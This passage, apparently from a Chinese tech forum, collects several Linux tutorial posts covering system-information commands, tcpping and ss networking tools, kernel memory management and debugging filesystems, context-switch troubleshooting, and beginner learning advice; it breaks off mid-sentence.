• [技术干货] Linux 信息显示与搜索命令
    一、uname:显示系统信息1、uname -a #显示系统所有相关信息图片2、uname -m #显示计算器的硬件架构图片3、uname -n #显示主机名称图片4、uname -r #显示内核发行版本号图片5、uname -s #显示内核名称图片6、uname -p #显示处理行类型图片7、uname -o #显示操作系统名称图片8、uanme -i #显示硬件平台图片二、hostname:显示或设置系统的主机名1、hostname #显示主机名图片2、hostname A #临时修改主机名,重启后失效图片3.vi /etc/hostname #永久修改主机名,重启后生效图片4、vi /etc/hosts #添加对主机名Mr.white的解析,第一行结尾添加图片图片5、hostname -I #获取系统IP地址,推荐使用,对应多块网卡的IP地址图片三、dmesg:系统启动异常诊断dmesg | less #查询内核缓冲区信息,用于查看硬件故障等信息图片图片四、stat:显示文件或文件系统状态1、stat /etc/hosts #查看系统信息图片2、stat -f /etc/hosts #查看文件系统属性图片五、du:统计磁盘空间使用情况1、du -a #显示所有目录或文件所占空间图片2、du -s #显示目录的总大小图片3、du -h #会换算成K/M/G的易读方式的结果图片4、du -sh # 当前目录总大小且易读展示图片5、du -h --max-depth=1 /usr/local/ #只显示第一层目录的大小图片du -h --max-depth=2 /usr/local/ #显示一二层目录的大小图片6、du -h --max-depth=2 /usr/local/ --exclude=/usr/local/share #显示一二层目录的大小,且排除指定目录 /usr/local/share图片六、date:显示与设置系统时间1、date +%y #显示年-短格式图片2、date +%Y #显示年-长格式图片  3、date +%m #显示月图片4、date +%d #显示日图片5、date +%H #显示小时图片6、date +%M #显示分钟图片7、date +%S #显示秒图片8、date +%F #显示特殊格式日期:年-月-日图片9、 date +%T #显示特殊格式日期:时-分-秒图片10、date +%F -d '-1day' #显示昨天,简洁图片11、date +%F -d 'yesterday' #显示昨天2图片12、date +%F -d '-1440min' #显示昨天3图片13、date +%F -d '+1day' #显示明天图片14、date +%F -d '+tomorrow' #显示明天2图片15、date +%F -d '24hour' #显示明天3图片16、date +%F -d '1440min' #显示明天4图片17、date +%F -d '+2day' #显示两天后图片18、date +%F -d '1month' #显示1个月后图片19、date +%F -d '1year' #显示1年后图片20、 date +%F -d '1year' #显示1年后图片21、date -d 'Thu Jul 6 21:41:16 CST 2017' '+%Y-%m-%d %H:%M:%S' #时间格式转换图片22、date -s 20201220 #设定系统时间,日期图片23、date -s '18:24:30 20201220' #设置全部时间图片24、date +%D%n%T #显示日期后换行显示时间图片七、echo:显示一行文本1、echo Hello world! #直接输出图片2、 echo 'Hello world!' #直接输出,引号括起来图片3、echo "hello world!" #双引号报错,!有特殊功能图片没有!可以正常输出图片4、echo "hello world"!#可以放在后面输出图片5、echo "hello world!" #可以转义输出图片6、echo -e "hello\tworld" #制表符输出图片7、echo -e "hello\nworld" #换行输出图片8、echo hello world >> hello.txt #重定位到文本内图片9、echo hello;echo world #分号可以连接两个命令图片10、echo -n hello;echo world #-n使两个输出不进行换行图片11、打印彩色输出:echo -e '\033[31m 红色字 mr.white trainning \033[0m'图片12、打印背景色设置:echo -e '\033[41;37m 红底白字 mr.white trainning \033[0m'图片13、echo $PATH #打印环境变量使用$美元符图片八、watch:监视命令执行情况1、watch -n 1 -d netstat -ant #-n每秒-d高亮显示网络链接数的变化图片2、watch cat test1220.txt #检测当前目录指定下文件的变化图片3、watch -t cat test1220.txt #检测当前目录指定下文件的变化,不显示标题图片九、which:显示命令的全路径1、which date #查看date命令的全路径图片2、which which #如果命令设置了别名,还会显示别名情况图片3、which java #显示java命令的全路径图片4、which -a java #显示所有包含java命令的路径图片十、whereis:显示命令及相关文件全路径1、whereis java #显示命令和文件图片2、whereis -b java #只查找可执行文件图片3、whereis -m java #只查找man帮助文件图片4、whereis -s java #只查找源代码文件,未找到图片十一、locate:快速定位文件路径安装mlocate:yum install mlocate图片1、locate pwd #查找文件的路径图片2、locate -c pwd #显示匹配的行数图片3、locate /etc/sh #只要部分符合就输出图片4、locate /etc/sh* #通配符查找图片5、locate /etc/sh #通配符查找2图片十二、updatedb:更新mlocate数据库updatedb可以初始化或更新locate命令使用的数据库,update定时任务固定每天执行1、初始化数据库:updatedb图片查看数据库与对应的定时任务图片2、更新数据库updatedb -vU /root/mytest20201219/ #v显示更新过程,U指定更新路径图片
  • [技术干货] Linux 下不会做 TCP 测试,遇事只能干着急!
    量到远程主机的网络延迟的一种常用方法是使用ping应用程序。该ping工具依赖 ICMP ECHO 请求和回复数据包来测量远程主机的往返延迟。但是,在某些情况下,ICMP 流量可能会被防火墙阻止,这使得该ping应用程序对于受限制的防火墙后面的主机毫无用处。在这种情况下,你将需要依赖使用 TCP/UDP 数据包的第 3 层测量工具,因为这些第 3 层数据包更有可能绕过常见的防火墙规则。一种这样的第 3 层测量工具是tcpping. 为了测量延迟,tcpping利用所谓的半开放连接技术,基于 TCP 三路握手。也就是说,它通过端口号(默认为 80)向远程主机发送 TCP SYN 数据包。如果远程主机正在侦听该端口,它将以 TCP ACK 数据包响应。否则,它将以 TCP RST 数据包响应。无论哪种方式,tcpping都可以通过定时传出 SYN 数据包和传入 ACK(或 RST)数据包来测量远程主机的往返时间 (RTT) 延迟。在 Linux 上安装tcpping tcpping作为 shell 脚本实现,该脚本响应外部工具来执行和报告 RTT 测量。因此,为了安装tcpping,你首先需要先安装这些先决条件。安装依赖 tcptraceroute 要在 Ubuntu 或 Debian 上安装tcptraceroute:$ sudo apt-get install tcptraceroute要在 CentOS 或 RHEL 上安装tcptraceroute,首先在你的系统上设置 RepoForge,然后运行:$ sudo yum install tcptraceroute安装依赖 bc 使用的另一个工具tcpping是GNUbc,它预装在所有主要的 Linux 发行版上。但是,如果你tcpping在最小 Linux 运行时环境(例如Docker容器、AWS 最小映像 AMI)中运行,则bc可能不会预先安装。在这种情况下,你需要bc自己安装。在Debian 的 Linux 上安装:$ sudo apt-get install bc在 Red Hat 的 Linux 上安装:$ sudo yum install bc安装 tcpping 安装这些必备工具后,最后继续tcpping从官方源下载。$ wget cid:link_0$ cp tcpping /usr/bin$ chmod 755 tcpping使用tcpping来衡量延迟 要使用 测量网络延迟tcpping,你可以使用以下格式。tcpping [-d] [-c] [-r sec] [-x count] ipaddress [端口]-d: 在每个结果之前打印时间戳。-c: 使用分列输出以便于解析。-r:连续探测之间的间隔(以秒为单位)(默认为 1 秒)。-x: 重复 n 次(默认无限制)。[port]: 目标端口(默认为 80)。请注意,你需要 root 权限才能运行,tcpping因为它需要调用特权tcptraceroute命令。
  • [技术干货] 推荐一个实用,但是却不被大家所常用的 Linux 命令!
    ss命令用于显示socket状态. 他可以显示PACKET sockets, TCP sockets, UDP sockets, sockets, RAW sockets, Unix domain sockets等等统计. 它比其他工具展示等多tcp和state信息. 它是一个非常实用、快速、有效的跟踪IP连接和sockets的新工具.SS命令可以提供如下信息:所有的TCP sockets所有的UDP sockets所有ssh/ftp/ttp/https持久连接所有连接到Xserver的本地进程使用state(例如:connected, synchronized, SYN-RECV, SYN-SENT,TIME-WAIT)、地址、端口过滤所有的state FIN-WAIT-1 tcpsocket连接以及更多很多流行的Linux发行版都支持ss以及很多监控工具使用ss命令.熟悉这个工具有助于您更好的发现与解决系统性能问题.本人强烈建议使用ss命令替代netstat部分命令,例如netsat -ant/lnt等.展示他之前来做个对比,统计服务器并发连接数netstattime netstat -ant | grep EST | wc -l3100real 0m12.960s user 0m0.334s sys 0m12.561stime ss -o state established | wc -l3204real 0m0.030s user 0m0.005s sys 0m0.026s 结果很明显ss统计并发连接数效率完胜netstat,在ss能搞定的情况下, 你还会在选择netstat吗, 还在犹豫吗, 看以下例子,或者跳转到帮助页面.常用ss命令:ss -l 显示本地打开的所有端口 ss -pl 显示每个进程具体打开的socket ss -t -a 显示所有tcp socket ss -u -a 显示所有的UDP Socekt ss -o state established '( dport = :smtp or sport = :smtp )' 显示所有已建立的SMTP连接 ss -o state established '( dport = :http or sport = :http )' 显示所有已建立的HTTP连接 ss -x src /tmp/.X11-unix/* 找出所有连接X服务器的进程 ss -s 列出当前socket详细信息:显示sockets简要信息,列出当前已经连接,关闭,等待的tcp连接ss -sTotal: 3519 (kernel 3691) TCP: 26557 (estab 3163, closed 23182, orphaned 194, synrecv 0, timewait 23182/0), ports 1452Transport Total IP IPv63691 - - RAW 2 2 0 UDP 10 7 3 TCP 3375 3368 7 INET 3387 3377 10 FRAG 0 0 0列出当前监听端口ss -lRecv-Q Send-Q Local Address:Port Peer Address:Port0 10 :::5989 :::* 0 5 :rsync : 0 128 :::sunrpc ::: 0 128 :sunrpc : 0 511 :http : 0 128 :::ssh ::: 0 128 :ssh : 0 128 :::35766 ::: 0 128 127.0.0.1:ipp : 0 128 ::1:ipp ::: 0 100 ::1:smtp :::* 0 100 127.0.0.1:smtp : 0 511 :https : 0 100 :::1311 ::: 0 5 *:5666 : 0 128 *:3044 :ss列出每个进程名及其监听的端口ss -plss列所有的tcp socketsss -t -ass列出所有udp socketsss -u -ass列出所有http连接中的连接ss -o state established '( dport = :http or sport = :http )'·以上包含对外提供的80,以及访问外部的80·用以上命令完美的替代netstat获取http并发连接数,监控中常用到ss列出本地哪个进程连接到x serverss -x src /tmp/.X11-unix/*ss列出处在FIN-WAIT-1状态的http、https连接ss -o state fin-wait-1 '( sport = :http or sport = :https )'ss常用的state状态:established syn-sent syn-recv fin-wait-1 fin-wait-2 time-wait closed close-wait last-ack listen closingbig : Opposite to bucket state.ss使用IP地址筛选ss src ADDRESS_PATTERN src:表示来源 ADDRESS_PATTERN:表示地址规则 如下: ss src 120.33.31.1 # 列出来之20.33.31.1的连接# 列出来至120.33.31.1,80端口的连接 ss src 120.33.31.1:http ss src 120.33.31.1:8ss使用端口筛选ss dport OP PORT OP:是运算符 PORT:表示端口 dport:表示过滤目标端口、相反的有sportOP运算符如下:<= or le : 小于等于 >= or ge : 大于等于 == or eq : 等于 != or ne : 不等于端口 < or lt : 小于这个端口 > or gt : 大于端口OP实例ss sport = :http 也可以是 ss sport = :80 ss dport = :http ss dport > :1024 ss sport > :1024 ss sport < :32000 ss sport eq :22 ss dport != :22 ss state connected sport = :http ss ( sport = :http or sport = :https ) ss -o state fin-wait-1 ( sport = :http or sport = :https ) dst 192.168.1/24为什么ss比netstat快:netstat是遍历/proc下面每个PID目录,ss直接读/proc/net下面的统计信息。所以ss执行的时候消耗资源以及消耗的时间都比netstat少很多ss命令帮助ss -hUsage: ss [ OPTIONS ] ss [ OPTIONS ] [ FILTER ] -h, --help this message -V, --version output version information -n, --numeric don't resolve service names -r, --resolve resolve host names -a, --all display all sockets -l, --listening display listening sockets -o, --options show timer information -e, --extended show detailed socket information -m, --memory show socket memory usage -p, --processes show process using socket -i, --info show internal TCP information QUERY := {all|inet|tcp|udp|raw|unix|packet|netlink}[,QUERY]-D, --diag=FILE Dump raw information about TCP sockets to FILE -F, --filter=FILE read filter information from FILE FILTER := [ state TCP-STATE ] [ EXPRESSION ]
  • [技术干货] 一文剖析 Linux 内核的内存管理
    内存管理的主要工作就是对物理内存进行组织,然后对物理内存的分配和回收。但是Linux引入了虚拟地址的概念。虚拟地址的作用 如果用户进程直接操作物理地址会有以下的坏处: 1、 用户进程可以直接操作内核对应的内存,破坏内核运行。 2、 用户进程也会破坏其他进程的运行 CPU 中寄存器中存储的是逻辑地址,需要进行映射才能转化为对应的物理地址,然后获取对应的内存。 通过引入逻辑地址,每个进程都拥有单独的逻辑地址范围。 当进程申请内存的时候,会为其分配逻辑地址和物理地址,并将逻辑地址和物理地址做一个映射。 所以,Linux内存管理涉及到了以下三个部分: 1、物理内存 物理内存的组织 Linux 中内存分为 3 个级别,从下到上依次为: 1、Page: 一个 page 的大小为 4k, Page 是内存的一个最基本的单位。 2、Zone: Zone 中提供了多个队列来管理 page。 Zone分为 3 种 2.1、 ZONE_DMA:用来存放 DMA 读取 IO 设备的数据,内核专用 2.2、 ZONE_NORMAL:用来存放内核的相关数据,内核专用 2.3、 ZONE_HIGHMEM:高端内存,用来存放用户进程数据 3、Node 节点,一个 CPU 对应着一个 Node,一个 Node 包括一个 Zone_DMA、 ZONE_NORMAL、ZONE_HIGHMEM。 同时当一个 CPU 对应的内存用光后,可以申请其他 CPU 对应的内存。 图片物理内存的分配 Linux将内存分配分为两种: 1、大内存 大内存 利用伙伴系统 分配。 图片 伙伴系统的做法是将 ZONE 中的 Page 分组,然后组装为多个链表。链表中存放的是 页块 的集合。页块对应着有不同的大小,分别为 1、2、4、8 … 1024个页。 当请求 (2i-1 ,2i] 大小的 page 的时候,会直接请求 2i 个页, 如果对应的链表中有对应的页块,就直接分配。如果对应的链表没有,就往上找 2i+1,如果 2i+1 存在,就将其分为 2 个 2i 页块,将其中 1 个 2i 加入到对应的链表中,将另外一个分配出去。 例如,要请求一个 128 个页的页块时,先检查 128 个页的页块链表是否有空闲块。如果没有,则查 256 个 的页块链表;如果有空闲块的话,则将 256 个页的页块分成两份,一份使用,一份插入 128 个页的页块链表中。如果还是没有,就查 512 个页的页块链表;如果有的话,就分裂为 128、128、256 三个页块,一个 128 的使用,剩余两个插入对应页块链表。 2、小内存分配 小内存分配利用 slub 分配,比如对象等数据 slub 就是 将几个页单独拎出来作为缓存,里面维护了链表。每次直接从链表中获取对应的内存,用完之后也不用清空,就直接挂到链表上,然后等待下次利用。 图片 2、如何组织虚拟地址 虚拟地址对应的是虚拟空间,虚拟空间只不过是一个虚拟地址的集合,用来映射物理内存。图片虚拟空间分为 用户态 和 内核态 。 32位系统中 将虚拟空间按照 1:3 的比例分配给 内核态 和 用户态。 64位系统中 分别给 内核态 和 用户态 分配了 128T。 用户态结构 图片每个进程 都会 对应一个 用户态虚拟空间, 里面存放了 Text(代码)的内存虚拟地址范围、 Data(数据)的内存虚拟地址范围、BSS(全局变量)的内存虚拟地址范围、堆的虚拟地址范围、栈的虚拟地址范围,以及mmap 内存映射区。 其中 mmap 用于申请动态内存的时候的映射,堆和栈都是动态变化的。 一个进程对应的用户态中的 各个方面的虚拟地址信息都通过一个 struct 来存储在内存中,当创建进程的时候会为其分配内存存储对应的虚拟地址信息。 内核态结构 图片 Linux 的内核程序共用一个内核态虚拟空间。其中分为了以下几部分: 1、直接映射区 896M,内核空间直接映射到对应的ZONE_DMA和ZONE_NORMAL中。为什么叫做直接映射呢?逻辑地址 直接 减去对应的差值就可以得到对应的物理地址。固定死了。 2、动态映射 为什么要引入动态映射呢?因为所有物理内存的分配都需要内核程序进行申请,用户进程没有这个权限。所以内核空间一定要能映射到所有的物理内存地址。 那么如果都采用直接映射的话,1G大小逻辑地址的内核空间只能映射1G大小的物理内存。 所以引入了动态映射,动态映射就是 内核空间的逻辑地址可以映射到 物理内存中的ZONE_HIGHMEM(高端内存)中的任何一个地址,并且在对应的物理内存使用完之后,可以再映射其他物理内存地址。原文:cid:link_0
  • [技术干货] Linux 内核的经典调试方式
    2.1 procfs文件系统 ProcFs 介绍procfs 是比较老的一种用户态与内核态的数据交换方式, 内核的很多数据都是通过这种方式出口给用户的, 内核的很多参数也是通过这种方式来让用户方便设置的. 除了 sysctl 出口到 /proc 下的参数, procfs 提供的大部分内核参数是只读的. 实际上, 很多应用严重地依赖于procfs, 因此它几乎是必不可少的组件. 前面部分的几个例子实际上已经使用它来出口内核数据, 但是并没有讲解如何使用, 本节将讲解如何使用procfs.参考资料:用户空间与内核空间数据交换的方式(2)——procfs2.2 sysfs文件系统 内核子系统或设备驱动可以直接编译到内核, 也可以编译成模块, 编译到内核, 使用前一节介绍的方法通过内核启动参数来向它们传递参数, 如果编译成模块, 则可以通过命令行在插入模块时传递参数, 或者在运行时, 通过 sysfs 来设置或读取模块数据.Sysfs 是一个基于内存的文件系统, 实际上它基于ramfs, sysfs 提供了一种把内核数据结构, 它们的属性以及属性与数据结构的联系开放给用户态的方式, 它与 kobject 子系统紧密地结合在一起, 因此内核开发者不需要直接使用它, 而是内核的各个子系统使用它. 用户要想使用 sysfs 读取和设置内核参数, 仅需装载 sysfs 就可以通过文件操作应用来读取和设置内核通过 sysfs 开放给用户的各个参数:mkdir -p /sysfs mount -t sysfs sysfs /sysfs 注意, 不要把 sysfs 和 sysctl 混淆, sysctl 是内核的一些控制参数, 其目的是方便用户对内核的行为进行控制, 而 sysfs 仅仅是把内核的 kobject 对象的层次关系与属性开放给用户查看, 因此 sysfs的绝大部分是只读的, 模块作为一个 kobject 也被出口到 sysfs, 模块参数则是作为模块属性出口的, 内核实现者为模块的使用提供了更灵活的方式, 允许用户设置模块参数在 sysfs 的可见性并允许用户在编写模块时设置这些参数在 sysfs 下的访问权限, 然后用户就可以通过 sysfs 来查看和设置模块参数, 从而使得用户能在模块运行时控制模块行为.相关资料链接:用户空间与内核空间数据交换的方式(6)——模块参数与sysfs2.3 debugfs文件系统 内核开发者经常需要向用户空间应用输出一些调试信息, 在稳定的系统中可能根本不需要这些调试信息, 但是在开发过程中, 为了搞清楚内核的行为, 调试信息非常必要, printk可能是用的最多的, 但它并不是最好的, 调试信息只是在开发中用于调试, 而 printk 将一直输出, 因此开发完毕后需要清除不必要的 printk 语句, 另外如果开发者希望用户空间应用能够改变内核行为时, printk 就无法实现.因此, 需要一种新的机制, 那只有在需要的时候使用, 它在需要时通过在一个虚拟文件系统中创建一个或多个文件来向用户空间应用提供调试信息.有几种方式可以实现上述要求:使用 procfs, 在 /proc 创建文件输出调试信息, 但是 procfs 对于大于一个内存页(对于 x86 是 4K)的输出比较麻烦, 而且速度慢, 有时回出现一些意想不到的问题.使用 sysfs( 2.6 内核引入的新的虚拟文件系统), 在很多情况下, 调试信息可以存放在那里, 但是sysfs主要用于系统管理,它希望每一个文件对应内核的一个变量,如果使用它输出复杂的数据结构或调试信息是非常困难的.使用 libfs 创建一个新的文件系统, 该方法极其灵活, 开发者可以为新文件系统设置一些规则, 使用 libfs 使得创建新文件系统更加简单, 但是仍然超出了一个开发者的想象.为了使得开发者更加容易使用这样的机制, Greg Kroah-Hartman 开发了 debugfs(在 2.6.11 中第一次引入), 它是一个虚拟文件系统, 专门用于输出调试信息, 该文件系统非常小, 很容易使用, 可以在配置内核时选择是否构件到内核中, 在不选择它的情况下, 使用它提供的API的内核部分不需要做任何改动.2.4 relayfs文件系统 relayfs 是一个快速的转发(relay)数据的文件系统, 它以其功能而得名. 它为那些需要从内核空间转发大量数据到用户空间的工具和应用提供了快速有效的转发机制.Channel 是 relayfs 文件系统定义的一个主要概念, 每一个 channel 由一组内核缓存组成, 每一个 CPU 有一个对应于该 channel 的内核缓存, 每一个内核缓存用一个在 relayfs 文件系统中的文件文件表示, 内核使用 relayfs 提供的写函数把需要转发给用户空间的数据快速地写入当前 CPU 上的 channel 内核缓存, 用户空间应用通过标准的文件 I/ O函数在对应的 channel 文件中可以快速地取得这些被转发出的数据 mmap 来. 写入到 channel 中的数据的格式完全取决于内核中创建channel 的模块或子系统.relayfs 的用户空间API :relayfs 实现了四个标准的文件 I/O 函数, open、mmap、poll和close
  • [技术干货] Linux CPU上下文切换的故障排查
    CPU 上下文切换是保证 Linux 系统正常运行的核心功能。可分为进程上下文切换、线程上下文切换和中断上下文切换。 在本文中,我将进一步讨论如何分析 CPU 上下文切换问题。 检查 CPU 的上下文切换 我们知道,过多的上下文切换会消耗 CPU 的时间来保存和恢复寄存器、程序计数器、内核栈和虚拟内存等数据,从而导致系统性能显着下降。 既然上下文切换对系统性能的影响如此之大,那么我们如何检查它呢?好了,你可以使用 vmstat 工具来查询你系统的上下文切换。 vmstat vmstat 是一种常用的系统性能分析工具。主要用于分析内存使用情况,也常用于分析 CPU 上下文切换和中断的次数。 例如 vmstat 5(5 秒输出间隔): 图片 让我们看一下输出: cs(context switch):每秒上下文切换的次数。 in(interrupt):每秒的中断数。 r(running | runnable):就绪队列的长度,即正在运行和等待 CPU 的进程数。 b(blocked):处于不间断睡眠状态的进程数。 在上面的例子中,我们可以看到上下文切换次数为 33 次,系统中断次数为 25 次,就绪队列长度,不间断状态进程数均为 0。 pidstat vmstat 工具只给出了系统的整体上下文切换的信息。要查看每个进程的详细信息,您需要使用 pidstat。添加 -w 选项,您可以看到每个进程的上下文切换: 例如:Output interval is 5$ pidstat -w 5 Linux 4.15.0 (ubuntu) 09/23/18 x86_64 (2 CPU) 08:18:26 UID PID cswch/s nvcswch/s Command 08:18:31 0 1 0.20 0.00 systemd 08:18:31 0 8 5.40 0.00 rcu_sched ... 结果中有两列需要我们注意:cswch 和 nvcswch。其中,cswch 表示每秒自愿上下文切换的次数,nvcswch 表示每秒非自愿上下文切换的次数。 自愿上下文切换:指进程无法获得所需资源而导致的上下文切换。例如,当 I/O 和内存等系统资源不足时,就会发生自愿上下文切换。 非自愿上下文切换:指进程因时间片已过期而被系统强制重新调度时发生的上下文切换。例如,当大量进程竞争 CPU 时,很容易发生非自愿的上下文切换。 您必须牢记这两个概念,因为它们意味着不同的性能问题。 案例分析 既然您知道如何查看这些指标,那么就会出现另一个问题,上下文切换频率多久才是正常的呢?让我们看一个示例案例。 我们将使用 ,一个多线程的基准测试工具通过生成负载来模拟上下文切换过多的问题。假设您已经在 Linux 系统上安装了 sysbench 和 sysstat。 在我们模拟负载之前,让我们在一个终端中运行一下 vmstat: 图片 在这里可以看到当前的上下文切换次数 cs 是 35,中断次数 in 是 19,r 和 b 都是 0。由于我目前没有其他任务在运行,因此它们是空闲系统中的上下文切换数量。 现在让我们运行 sysbench 来模拟多线程调度系统的瓶颈: $ sysbench --threads=10 --max-time=300 threads run 现在,您应该会看到 vmstat 输出了与上面不同的结果: 图片 应该可以发现 cs 栏的上下文切换次数从之前的 35 次突增到 139 万次。同时,注意观察其他几个指标: r:就绪队列的长度已达到 8 us 和 sy:us 和 sy 的 CPU 使用率加起来是 100%,系统 CPU 使用率是 84%,说明 CPU 主要被内核占用。 in:中断数也上升到了 10000,说明中断处理也是一个潜在的问题。 结合这些指标我们可以知道系统的就绪队列太长了,也就是有太多的进程在运行等待 CPU,导致大量的上下文切换,而大量的上下文切换导致了系统 CPU 使用率的增长。那么是什么过程导致了这些问题呢? 我们继续分析,同时在第三个终端使用 pidstat,看看 CPU 和进程上下文切换的情况:1 means output interval is 1 second-w: output process switching index,-u: output CPU usage index$ pidstat -w -u 1 08:06:33 UID PID %usr %system %guest %wait %CPU CPU Command 08:06:34 0 10488 30.00 100.00 0.00 0.00 100.00 0 sysbench 08:06:34 0 26326 0.00 1.00 0.00 0.00 1.00 0 kworker/u4:2 08:06:33 UID PID cswch/s nvcswch/s Command 08:06:34 0 8 11.00 0.00 rcu_sched 08:06:34 0 16 1.00 0.00 ksoftirqd/1 08:06:34 0 471 1.00 0.00 hv_balloon 08:06:34 0 1230 1.00 0.00 iscsid 08:06:34 0 4089 1.00 0.00 kworker/1:5 08:06:34 0 4333 1.00 0.00 kworker/0:3 08:06:34 0 10499 1.00 224.00 pidstat 08:06:34 0 26326 236.00 0.00 kworker/u4:2 08:06:34 1000 26784 223.00 0.00 sshd 从 pidstat 的输出可以发现,CPU 使用率的增加确实是 sysbench 造成的,它的 CPU 使用率已经达到了 100%。但上下文切换来自其他进程,包括非自愿上下文切换频率最高的 pidstat,以及自愿上下文切换频率最高的内核线程 kworker 和 sshd。 注意:默认情况下 pidstat 只显示进程的上下文切换,如果要查看实际线程的上下文切换,请添加 -t 选项。 中断 要找出中断数量也很高的原因所在,您可以检查 /proc/interrupts 文件。该文件会提供一个只读的中断使用情况。-d: Highlight the change area$ watch -d cat /proc/interrupts CPU0 CPU1 ... RES: 2450431 5279697 Rescheduling interrupts ... 观察一段时间后,可以发现变化最快的是重新调度中断(RES, REScheduling interrupt)。这种中断类型表明处于空闲状态的 CPU 被唤醒以调度新的任务运行。所以这里的中断增加是因为太多的任务调度问题,这和前面上下文切换次数的分析结果是一致的 现在回到最初的问题,每秒多少次上下文切换是正常的? 这个值实际上取决于系统本身的 CPU 性能。在我看来,如果系统的上下文切换次数比较稳定的话,几百到一万应该是正常的。但是,当上下文切换次数超过 10000,或者切换次数快速增加时,很可能是出现了性能问题。 结论 此时,你应该可以根据上下文切换的类型做一些具体的分析了。 自愿上下文切换较多,说明进程在等待资源,可能会出现 I/O 饱和等其他问题。 非自愿上下文切换较多,说明进程正在被强制调度,也就是都在争抢 CPU,说明 CPU 确实产生了瓶颈。 中断次数增多,说明 CPU 被中断处理程序占用,需要通过查看 /proc/interrupts 文件来分析具体的中断类型。
  • [技术干货] 小白学习Linux的学习建议和阶段
      linux 是一个开源、免费的操作系统 ,其稳定性、安全性 、处 理多并发已经得到业界的认可,目前很多中型,大型甚 至是集群项 目都在使用 linux, 很多软件公司考虑到开发成本 都首 选 linux, 在中国软件公司得到广泛的使用 。       近些年来linux在嵌入式领域的应用得到了飞速的提高linux 运行稳定、对网络的良好支持性、低成本,且可以根据需要进行软件裁剪,内核最小可以达到几百KB 等特点,使其近些年来在嵌入式领域的应用得到非常大的提高主要应用:机顶盒、数字电视、网络电话、程控交换机、手机、PDA、智能家居、智能硬件等都是其应用领域。以后再物联网中应用会更加广泛。我认为学习 linux 流程: 第1 阶段 : linux环境下的基本操作命令,包括 文件操作命令(rm mkdir chmod, chown) 编辑工具使用(vi vim)linux用户管理(useradd userdel usermod)等第2 阶段 : linux的各种配置(环境变量配置,网络配置,服务配置)第3 阶段 : linux下如何搭建对应语言的开发环境(大数据,JavaEE, Python等)第4 阶段 : 能编写shell脚本,对Linux服务器进行维护。第5 阶段 : 能进行安全设置,防止攻击,保障服务器正常运行,能对系统调优。第6 阶段 : 深入理解Linux系统(对内核有研究),熟练掌握大型网站应用架构组成、并熟悉各个环节的部署和维护方法。一些基本的指令:(1)cd命令cd :切换目录用法:cdcd ../ 切换到上级目录cd /   切换到根目录cd ~  (或只有cd )切换到当前用户主目录(home底下以用户名命名的文件夹) /root目录mkdir 创建目录mkdir 目录名  -p   递归创建目录(2)rm删除文件用法:rmdir 目录名也可用:rm -rf 目录名(3)ls命令查看目录或文件信息主要选项:-l 列出目录或者文件的详细信息。比如权限、修改时间等等-a 列出当前目录下所有文件,包括隐藏文件(已点开头的都是隐藏文件)(4)万能文本编辑vi/vim命令i 进入编辑状态退出编辑按ESC键不保存退出: :q!保存退出:   :wq输入/,进入搜索输入:set nu,显示每一行的行数按键盘G,可以直接定位到最末尾(5)cp复制和mv移动命令用法:cp [选项]文件名或目录  目标地址-R 拷贝目录及目录下所有目录和文件cp a.txt  b.txt   #将a文件复制,且另命名为b文件(目录名)(6)| 管道符 (竖线,英文输入法状态下shift+键盘上的的|\)在命令之间建立管道,将前面命令的输出作为后面命令的输入#通过命令查找tomcat进程 ps -ef | grep tomcat #通过命令查找到占用此端口的进程编号 netstat -apn|grep 3306(7)tar 解压,压缩tar.gz#将test文件夹压缩成 tar -czvf test.tar.gz test #将test.tar.gz解压得到test文件夹 test.tar.gztar -xzvf test.tar.gz(8)zip 解压,压缩zip#将test文件夹压缩成test.zip,必须带r 才会把文件压缩进去,不然会生成一个空的文件夹 zip –r test.zip test #将test.zip文件夹解压 unzip test.zip(9)关闭防火墙#开启 service iptables start #关闭 service iptables stop永久关闭防火墙#开启 chkconfig iptables on  #关闭 chkconfig iptables off
  • [技术干货] 为啥离不了 linux-转载
    前言   Linux是一种免费使用和自由传播的类Unix操作系统,是一个多用户、多任务、支持多线程和多CPU的操作系统。它能运行主要的UNIX工具软件、应用程序和网络协议。它支持32位和64位硬件。Linux继承了Unix以网络为核心的设计思想,是一个开放源代码的系统,其内核由林纳斯·本纳第克特·托瓦兹(Linus Benedict Torvalds)于1991年10月5日首次发布 。 linux 优势 Linux的优点有很多,以下是一些主要的优点: 开源。Linux的主要优点之一是它是一个开放源代码的操作系统,即,每个人都可以轻松获得其源代码。任何有编码能力的人都可以出于任何目的贡献,修改,增强和分发代码给任何人。 安全性。与Windows相比,Linux更加安全。这是因为Linux内核的设计使得它比Windows更加安全。此外,Linux还有一个强大的社区,可以提供帮助和支持。 稳定性。Linux是一个非常稳定的操作系统。它可以在长时间运行后仍然保持稳定,而不会崩溃或出现其他问题。 可定制性。Linux可以根据用户的需求进行定制。用户可以根据自己的需要选择安装哪些软件和配置哪些选项。 免费。Linux是免费的,这意味着用户不需要支付任何费用就可以使用它。 一些简单常用的命令  cd:切换目录  ls:列出当前目录下的文件列表  pwd:显示当前工作目录的路径  mkdir:创建新目录  mkdir -p /opt/test/img:在/opt/test目录下创建目录img,若无test目录,先创建test目录  rmdir:删除空目录  rm:删除文件或目录  rm -rf test:删除test目录,-r递归删除,-f强制删除。危险操作,务必小心,切记!  cp:复制文件或目录  mv:移动或重命名文件或目录  touch:创建新的空文件或修改现有文件的时间戳  cat:查看文件内容  grep:在文件中查找指定字符串  find:查找文件或目录  chmod:修改文件或目录的访问权限  chown:修改文件或目录的所有者  top:查看内存/显示系统当前进程信息  df -h:查看磁盘储存状况  iotop:查看IO读写(yum install iotop安装)  iotop -o:直接查看比较高的磁盘读写程序  netstat -tunlp | grep 端口号:查看端口号占用情况(1)  lsof -i:端口号:查看端口号占用情况(2)  uptime:查看报告系统运行时长及平均负载  ps aux:查看进程 开源   开源意味着没有后门,你的隐私性得到了极大的保证。当你不了解一个操作系统的源代码时,你怎么能确保它没有后门呢?如果制造商公司留了一个隐秘的后门,当你连接到网络的时候,这会让你的隐私无所遁形。而在Linux上,任何东西都是开放的,既然是开放的,代表所有的人都可以参与进来。因此是没有后门可以隐藏在操作系统里的。  优雅   相信用过windows的,安装软件时一定都是过五关斩六将(打开浏览器,搜索你想要的软件,细心观察避开广告,当终于找到一个看起来比较靠谱的网站时,还得细细的去看下载地址之类的,而要避开巨大的下载按钮,最后在安装的时候,也不能大意,还得注意各种微小的勾选项,一旦一不小心漏掉一个了,就会发现电脑似乎有点卡顿,不一会儿,一些奇奇怪怪的玩意儿就会出现在你的桌面上),这样一路提心吊胆小心翼翼的躲过一路的妖魔鬼怪的繁杂的步骤才下载下来的吧。 而在 linux 